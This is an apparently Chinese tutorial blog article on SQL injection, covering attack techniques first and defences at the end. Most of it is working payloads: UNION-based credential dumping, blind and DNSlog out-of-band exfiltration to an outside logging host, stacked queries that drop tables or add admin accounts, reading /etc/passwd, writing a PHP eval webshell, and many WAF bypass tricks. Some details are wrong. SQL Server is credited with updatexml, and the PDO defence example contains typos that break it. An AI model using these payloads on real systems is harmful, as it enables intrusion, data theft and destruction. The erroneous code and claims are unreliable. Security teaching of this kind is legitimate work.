SQL注入总结(攻击面与防御面)
SQL注入是一种高危Web漏洞,通过篡改SQL语句执行恶意操作,可导致数据泄露、篡改甚至服务器控制。文章详细介绍了SQL注入的核心原理、类型(联合查询、报错、盲注等)、危害等级和利用手法,包括读写文件、命令执行等高级利用。同时提供了主流数据库的注入差异和绕过WAF的技巧,如关键字替换、编码混淆等。最后提出五道防御措施:预处理语句、输入校验、最小权限、安全配置和边界防护,强调参数化查询是根本解决方案
SQL注入是Web安全领域最经典、危害最高的高危漏洞之一,长期位于OWASP Top10榜单前列,大部分Web系统数据泄露事件都和SQL注入漏洞有关。其核心本质是用户可控参数被直接凭借到SQL语句中,后端未作严格的安全处理,导致攻击者可以篡改SQL语句的原始执行逻辑,执行恶意SQL代码,包括数据修改、泄露、删除,甚至实现对数据库乃至服务器的控制。
一、SQL注入核心基础
1.漏洞形成的三个条件
- 参数用户可控:前端传入的参数(GET\POST\Cookie\HTTP头等)用户可自由修改
- 参数直接拼接到SQL中:后端未作安全处理,直接将用户可控参数拼接到SQL语句中执行
-
恶意SQL可成功执行:拼接后的恶意SQL语句被数据库正常解析执行,未得到有效拦截
漏洞代码示例:
后端PHP代码
$username = $_POST['username'];
$password = $_POST['password'];
// 直接拼接用户输入到SQL语句
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
攻击者输入用户名:' or 1=1 -- ,密码任意,后端接收到username参数并将其拼接到SQL语句上变为:
SELECT * FROM admin WHERE username='' OR 1=1 -- ' AND password='xxx'
-- 把后面的password参数部分给注释掉了,or 1=1使条件恒真,直接绕过登录验证,获取管理员权限。
2. 核心危害分级
| 风险等级 | 危害场景 | 具体影响 |
|---|---|---|
| 致命级 | 远程代码执行/服务器接管 | 写入 Webshell、执行系统命令、提权获取服务器控制权、植入挖矿 / 勒索病毒 |
| 高危级 | 数据泄露 / 篡改 | 全量脱库(拖取用户、账号、订单、身份证等核心数据)、篡改 / 删除数据、删库导致业务瘫痪 |
| 中危级 | 越权访问 / 信息探测 | 绕过登录验证、越权查看 / 修改他人数据、探测数据库 / 服务器版本、架构信息 |
| 低危级 | 业务异常 |
注入恶意语句导致数据库负载过高、业务响应异常 |
3.注入点判断方法
通过构造特殊 payload,观察页面响应差异,判断是否存在注入:
| 注入类型 | 测试 payload | 正常响应 | 异常响应 |
|---|---|---|---|
| 数字型注入(参数无引号包裹) | ?id=1 AND 1=1 |
页面正常显示 | 页面内容不变 |
?id=1 AND 1=2 |
页面正常显示 | 页面无内容 / 报错 / 布局错乱 | |
| 字符型注入(参数有单 / 双引号包裹) | ?name=admin' AND '1'='1 |
页面正常显示 | 页面内容不变 |
?name=admin' AND '1'='2 |
页面正常显示 | 页面无内容 / 报错 / 布局错乱 | |
| 搜索型注入(LIKE 语句) | ?keyword=test%' AND 1=1 -- |
页面正常显示 | 页面内容不变 |
?keyword=test%' AND 1=2 -- |
页面正常显示 | 页面无内容 / 报错 |
二、SQL注入类型详解
1.按数据返回方式分类
(1)联合查询注入(UNION SELECT)
适用场景:页面有明确的查询结果回显,是比较基础、最容易利用的注入类型
核心原理:通过UNION关键字,将恶意查询的结果拼接到原始查询结果中,直接在页面显示
利用前提:前后两条查询语句的字段数一致、对应字段的数据类型兼容
利用步骤:
- 猜解字段数:通过ORDER BY判断原始查询字段数,直到页面正常,确定字段数。或者通过UNION SELECT NULL,NULL……方式判断字段数。示例
?id=1 ORDER BY 3 -- #正常 ?id=1 ORDER BY 4 -- #异常 ->字段数为3 - UNION SELECT确定回显位:找到页面回显字段位置,作为后续替换字段
?id=-1 UNION SELECT 1,2,3 -- #id=-1使原始查询无结果,只显示UNION 查询的结果 - 脱库流程:从数据库名→表名→列名→核心数据,逐级查询。
查询目标 Payload(MySQL) 当前数据库名 ?id=-1 UNION SELECT 1,database(),3 --所有数据库名 ?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --当前库的所有表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --指定表的所有列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() --拖取核心数据(账号密码) ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --
(2)报错注入
适用场景:页面无查询结果回显,但会将SQL执行的错误信息输出到页面
核心原理:利用数据库的报错函数,将查询结果通过错误信息强制带出,实现数据获取
主流数据库常用报错函数与 Payload:
| 数据库 | 核心报错函数 | 标准 Payload | 限制说明 |
|---|---|---|---|
| MySQL | updatexml() | ?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- |
最大返回 32 位字符,超过需用 substr () 分段截取 |
| MySQL | extractvalue() | ?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) -- |
最大返回 32 位字符 |
| MySQL | floor(rand()*2) | ?id=1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) -- |
无长度限制,适用于长数据查询 |
| SQL Server | updatexml() | ?id=1 AND 1=(SELECT updatexml(1,concat(0x7e,DB_NAME(),0x7e),1)) -- |
同 MySQL |
| Oracle | utl_inaddr.get_host_name() | ?id=1 AND utl_inaddr.get_host_name((SELECT user FROM dual))=1 -- |
利用域名解析报错带出数据 |
(3)盲注(无回显无报错场景方案)
适用场景:页面无论SQL语句执行成功与否,返回内容完全一致、无报错、无回显
核心逻辑:通过构造条件语句,让数据库根据查询结果的真假,返回可区分的差异,逐字符猜解数据
① 布尔盲注
核心原理:SQL 语句为真时,页面返回正常内容;为假时,页面返回空白 / 错误页面,通过页面布尔状态差异猜解数据。核心函数:substr()(截取字符)、ascii()(获取字符 ASCII 码)、length()(获取字符串长度)标准利用步骤:
- 猜解数据库名长度:
?id=1 AND length(database())=5 --,测试到页面正常时,得到库名长度为 5 - 逐字符猜解数据库名:
?id=1 AND ascii(substr(database(),1,1))=115 --,测试第一个字符的 ASCII 码,115 对应小写字母s,依次猜解所有字符 - 同理,逐级猜解表名、列名、核心数据
② 时间盲注(延时盲注)
适用场景:页面无布尔状态差异,无论 SQL 真假,返回内容、响应状态完全一致,只能通过响应时间判断结果。核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。
核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。
| 数据库 | 延时函数 | 标准 Payload |
|---|---|---|
| MySQL | sleep() | ?id=1 AND if(ascii(substr(database(),1,1))=115,sleep(5),0) -- |
| MySQL | benchmark() | ?id=1 AND if(ascii(substr(database(),1,1))=115,benchmark(10000000,md5(1)),0) -- (sleep 被过滤时可使用) |
| SQL Server | waitfor delay | ?id=1;IF (ascii(substr(DB_NAME(),1,1))=115) WAITFOR DELAY '0:0:5' -- |
| PostgreSQL | pg_sleep() | ?id=1 AND if(ascii(substr(current_database(),1,1))=115,pg_sleep(5),0) -- |
| Oracle | dbms_pipe.receive_message() | ?id=1 AND (SELECT CASE WHEN (ascii(substr(user,1,1))=115) THEN dbms_pipe.receive_message('a',5) ELSE 0 END FROM dual)=1 -- |
③ DNSlog 盲注(带外注入 OOB)
适用场景:无回显、无报错、延时不稳定,是盲注的终极解决方案,效率远高于逐字符猜解。核心原理:利用数据库发起网络请求的能力,将查询结果拼接到域名中,通过 DNS 解析日志获取数据,无需页面回显。前提条件:数据库服务器可访问外网,无出站防火墙限制。
| 数据库 | 标准 Payload | 核心原理 | ||||
|---|---|---|---|---|---|---|
| MySQL | ?id=1 AND load_file(concat('\\\\',(SELECT database()),'.xxx.dnslog.cn\\abc')) -- |
利用 UNC 路径发起 SMB 请求,触发 DNS 解析,将库名带到 DNSlog 平台 | ||||
| SQL Server | ?id=1;EXEC master..xp_dirtree '\\\\'+(SELECT DB_NAME())+'.xxx.dnslog.cn\\abc' -- |
利用 xp_dirtree 函数访问 UNC 路径,触发 DNS 解析 | ||||
| Oracle | `?id=1 AND utl_http.request('http://'
'.xxx.dnslog.cn')=1 -- ` |
利用 utl_http 发起 HTTP 请求,触发 DNS 解析 |
(4)堆叠注入
适用场景:后端数据库驱动支持多语句执行(如 PHP 的mysqli_multi_query()),可通过分号;分隔多条 SQL 语句,一次性执行多个操作。
核心危害:突破 SELECT 查询的限制,可执行增删改查、写入文件、执行命令、修改配置等高危操作,危害极大。Payload 示例:
?id=1; DROP TABLE users; -- 删除表
?id=1; INSERT INTO admin(username,password) VALUES('hacker','123456'); -- 添加管理员账号
?id=1; SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'; -- 写入Webshell
限制说明:仅部分数据库驱动支持,PHP 的 PDO 默认不支持多语句,Java 的 JDBC 默认禁用多语句,需手动开启。
2.按注入点位置/特殊场景分类
(1)二次注入(存储型注入)
核心原理:攻击者先将恶意 SQL payload 提交到数据库存储,后端在另一个业务场景中,从数据库取出该 payload 并直接拼接到 SQL 语句中执行,触发注入。
典型场景:
- 注册账号时,用户名填写
' OR 1=1 --,提交后正常存储到数据库,无注入触发 - 管理员后台查看用户列表时,后端代码:
SELECT * FROM users WHERE username='".$row['username']."',取出恶意用户名拼接 SQL,触发注入
核心特点:
- 注入触发与 payload 提交分离,绕过绝大多数 WAF(WAF 仅检测提交时的请求,不检测数据库取出的内容)
- 隐蔽性较强
- 需找到 payload 的触发场景,才能完成利用
(2)HTTP 头注入
核心原理:后端会将 HTTP 头的内容(如 User-Agent、X-Forwarded-For、Referer、Cookie)记录到数据库(如访问日志、统计数据),拼接 SQL 时未做过滤,导致注入。
典型场景:
- 网站访问统计功能,将 User-Agent、X-Forwarded-For 存入数据库,payload:
User-Agent: ' OR updatexml(1,concat(0x7e,database(),0x7e),1) -- - Cookie 注入:后端从 Cookie 中获取用户标识,拼接到 SQL 中,payload:
Cookie: user=admin' AND 1=1 -- - X-Forwarded-For 注入:后端获取客户端 IP 时,读取 XFF 头,拼接到 SQL 中,payload:
X-Forwarded-For: 127.0.0.1' AND sleep(5) --
(3)宽字节注入
核心原理:后端为MySQL数据库使用 GBK 编码,通过addslashes()等函数对单引号'进行转义(变为\',即%5c%27),攻击者输入%df%27,%df与转义符%5c拼接成 GBK 汉字運,单引号%27成功逃逸,闭合 SQL 语句。利用前提:
- 数据库 / 后端编码为 GBK
- 后端使用
addslashes()、mysql_real_escape_string()等转义函数,但未设置正确的连接字符集标准 Payload:?id=1%df' AND 1=1 --
(4)二次编码注入
核心原理:后端对参数进行了两次 URL 解码,第一次解码后转义特殊字符,第二次解码时再次还原恶意字符,导致单引号逃逸。
典型示例:
- 攻击者输入
%2527(单引号'的 URL 编码是%27,再次编码为%2527) - 后端第一次解码:
%2527→%27,转义函数未处理 - 后端第二次解码:
%27→',成功闭合 SQL 语句,触发注入
三、主流数据库注入差异详解
不同数据库的系统表、内置函数、语法特性差异极大,实战中需先识别数据库类型,再使用对应 Payload,核心差异如下表:
| 特性 | MySQL | SQL Server | Oracle | PostgreSQL | Access |
|---|---|---|---|---|---|
| 版本识别 | version()/@@version |
@@version |
v$version视图 |
version() |
无内置函数,通过语法差异识别 |
| 系统库 / 表 | information_schema(5.0+)、mysql库 |
sysobjects、syscolumns |
all_tables、user_tab_columns |
information_schema、pg_stat_user_tables |
msysobjects(需权限) |
| 分页语法 | LIMIT m,n |
TOP N |
ROWNUM |
LIMIT m,n |
TOP N |
| 字符串拼接 | concat(a,b) |
a+b |
a||b | a||b |
|
| 延时函数 | sleep()、benchmark() |
WAITFOR DELAY |
dbms_pipe.receive_message() |
pg_sleep() |
无原生延时函数 |
| 报错函数 | updatexml()、extractvalue() |
updatexml() |
utl_inaddr.get_host_name() |
无原生报错函数 | 无原生报错函数 |
| 读写文件 | load_file()、INTO OUTFILE |
bulk insert、xp_cmdshell |
UTL_FILE |
COPY |
无原生文件读写 |
| 命令执行 | UDF 提权、MOF 提权 | xp_cmdshell |
Java 存储过程 | COPY FROM PROGRAM |
无原生命令执行 |
四、SQL注入进阶利用手法
1. 读写文件
利用前提:数据库用户拥有FILE权限,MySQL的secure_file_priv配置不为NULL(为空时可读写,为具体路径时仅可读写该路径),利用load_file、into outfile实现
| 操作 | 标准 Payload(MySQL) | 说明 |
|---|---|---|
| 读取系统敏感文件 | ?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3 -- |
可读取 SSH 密钥、数据库配置、网站源码等 |
| 写入 Webshell | ?id=-1 UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' -- |
需知道网站绝对路径,写入一句话木马 |
| 十六进制写马(绕过引号) | ?id=-1 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO OUTFILE '/var/www/html/shell.php' -- |
避免引号被转义,直接写入二进制内容 |
2. 执行系统命令与提权
| 数据库 | 命令执行方法 | 利用前提 |
|---|---|---|
| SQL Server | xp_cmdshell扩展存储过程 |
拥有sa管理员权限,开启xp_cmdshell |
| MySQL | UDF 自定义函数提权 | 拥有FILE权限,可写入 DLL/so 文件到插件目录 |
| PostgreSQL | COPY FROM PROGRAM |
超级管理员权限,PostgreSQL 9.3+ |
| Oracle | Java 存储过程 | 拥有 DBA 权限,可创建 Java 类执行系统命令 |
3. 越权与业务篡改
- 万能密码绕过登录:
' OR 1=1 --、' OR 1=1#、admin' -- - 越权查看他人数据:
?order_id=1' OR user_id=123 --,查看其他用户的订单 - 修改管理员密码:堆叠注入执行
UPDATE admin SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin' -- - 业务数据篡改:
?id=1; UPDATE goods SET price=0.01 WHERE id=100 --,篡改商品价格
五、SQL注入绕过技巧
实战或者CTF中绝大多数网站都会有过滤规则或 WAF,以下是高频绕过手法,按场景分类:
1. 关键字过滤绕过
| 过滤场景 | 绕过手法 | 示例 | ||
|---|---|---|---|---|
| 关键字大小写过滤 | 大小写混写绕过 | SeLeCt FrOm UsErS 替代 SELECT FROM users |
||
| 关键字单次替换过滤 | 双写绕过 | seselectlect 替代 select(WAF 替换select为空后,剩余select) |
||
| 关键字拆分过滤 | 注释拆分绕过 | s/*xxx*/elect、sel/**/ect、uni/*aaa*/on sel/*bbb*/ect |
||
| 关键字禁用 | 等价语法 / 函数替代 | 过滤and→用&&;过滤or→用 `;过滤substr→用mid/left/right;过滤ascii→用ord/hex;过滤union select→用union all select` |
||
| 函数禁用 | 等价功能替代 | 过滤sleep()→用benchmark(10000000,md5(1));过滤updatexml()→用extractvalue() |
2. 空格过滤绕过
- 注释替代空格:
select/**/*/**/from/**/users - 括号替代空格:
select(id)from(users)where(id=1) - 空白字符替代:
%09(制表符)、%0a(换行)、%0d(回车)、%0b(垂直制表)、%0c(换页) - 反引号替代:
selectidfromusers``
3. 单引号过滤绕过
- 宽字节注入:
%df%27逃逸单引号(GBK 编码场景) - 十六进制编码:字符串
admin→0x61646d696e,无需引号,示例:WHERE username=0x61646d696e - 字符拼接:
concat(char(97),char(100),char(109),char(105),char(110))替代'admin' - 二次编码注入:
%2527二次解码后还原为单引号
4. 逻辑运算符 / 比较符过滤绕过
- 过滤
=:用like、regexp、between、><组合替代,示例:WHERE username LIKE 'admin'、WHERE ascii(substr(database(),1,1)) BETWEEN 97 AND 122 - 过滤
and/or:用&&/||替代,或用case when、if语句实现条件判断 - 过滤
#/--注释:用;%00截断,或闭合引号实现注释,示例:?id=1' OR '1'='1
5. WAF 进阶绕过手法
- 内联注释绕过(MySQL 专属):利用 MySQL 的
/*! */内联注释,只有对应版本的 MySQL 会执行注释内的内容,WAF 通常会忽略,示例:?id=-1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- - 分块传输绕过:HTTP 头设置
Transfer-Encoding: chunked,将 Payload 拆分为多个块,WAF 无法完整解析,绕过规则匹配 - 参数污染绕过:提交多个同名参数,如
?id=1&id=-1 UNION SELECT 1,2,3 --,WAF 仅检查第一个参数,后端取第二个参数执行 - 垃圾数据填充:在 Payload 中插入大量无意义的注释,如
/*xxxxxxxxx*/,让 WAF 的正则匹配超时,绕过检测 - 协议层绕过:将 GET 参数改为 POST 参数,或修改
Content-Type为multipart/form-data,绕过 WAF 的 GET/POST 规则匹配 - 编码混淆:多层 URL 编码、Unicode 编码、HTML 实体编码,绕过 WAF 的单一层解码检测
六、SQL 注入防御措施
1.根本防御:预处理语句(参数化查询)
防御SQL注入最有效、最根本的方案
核心原理:将 SQL 语句的结构与数据完全分离,用户输入的参数只会被当作纯数据处理,不会被解析为 SQL 语句的一部分,从根源上杜绝 SQL 注入。
示例:
- PHP PDO 预处理:
$pdo=new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4','user','pass'); //用?占位符,不拼接用户输入 $stmt=$pdo->prepare("SELECT * FROM admin WHERE username = ? ADN password = ?"); $stmt->execute([$username,password]); - Java MyBatis预处理:
<!-- 用#{}占位符,会做参数化处理,绝对安全 --> <select id="getUser" resultType="User"> SELECT * FROM admin WHERE username = #{username} AND password = #{password} </select> <!-- 禁止使用${},会直接拼接参数,存在注入风险 --> - Python SQLite:
cursor.execute("SELECT * FROM admin WHERE username = ? AND password = ?", (username, password))关键注意事项:即使使用预处理,也绝对不能将用户输入拼接到 SQL 语句中,否则仍会存在注入。
2.第二道防线:安全的输入校验
- 白名单优先原则:对输入参数做严格的白名单校验,比如数字型参数必须用intval()转换为整数;用户名仅允许字母、数字、下划线;日期参数严格匹配日期格式。
- 黑名单辅助过滤:作为补充手段,过滤高危关键词(如union、select、and、or、sleep等),但不可单独依赖黑名单
- 严格限制输入长度:避免前端检验用户输入长度,前端检验很容易绕过,避免超长恶意Payload绕过检测
3.第三道防线:最小权限原则
- 数据库用户权限最小化:Web用户使用的数据库账号,仅分配业务必需的SELECT/INSERT/UPDATE/DELETE权限,禁止使用root、sa、DBA等搞权限账号。
- 禁用高危权限:禁止给Web账号分配FILE、PROCESS、SUPER、EXEC等高危权限,关闭不必要的存储过程与扩展。
- 限制数据库访问范围:仅允许Web服务器IP访问数据库,禁止公网暴露数据库端口
4.第四道防线:安全配置与错误处理
- 关闭错误回显:生产环境绝对禁止将 SQL 错误信息输出到前端页面,错误信息仅记录到后端日志,前端仅返回通用的 “系统错误” 提示,杜绝报错注入。
- 数据库安全配置
- MySQL 设置
secure_file_priv=NULL,禁止文件读写 - 设置正确的数据库字符集,避免宽字节注入
- 关闭不必要的数据库功能与端口
- MySQL 设置
5.第五道防线:边界防护与审计
- 部署WAF:Web 应用防火墙可拦截绝大多数常规 SQL 注入攻击,作为兜底防护。
- 开启审计日志:记录数据库的所有 SQL 执行语句,尤其是敏感操作(如管理员表查询、DROP/ALTER 操作),便于攻击溯源与异常检测。
- 定期安全检测:定期开展漏洞扫描、渗透测试、代码审计,及时发现并修复注入漏洞。
更多推荐
所有评论(0)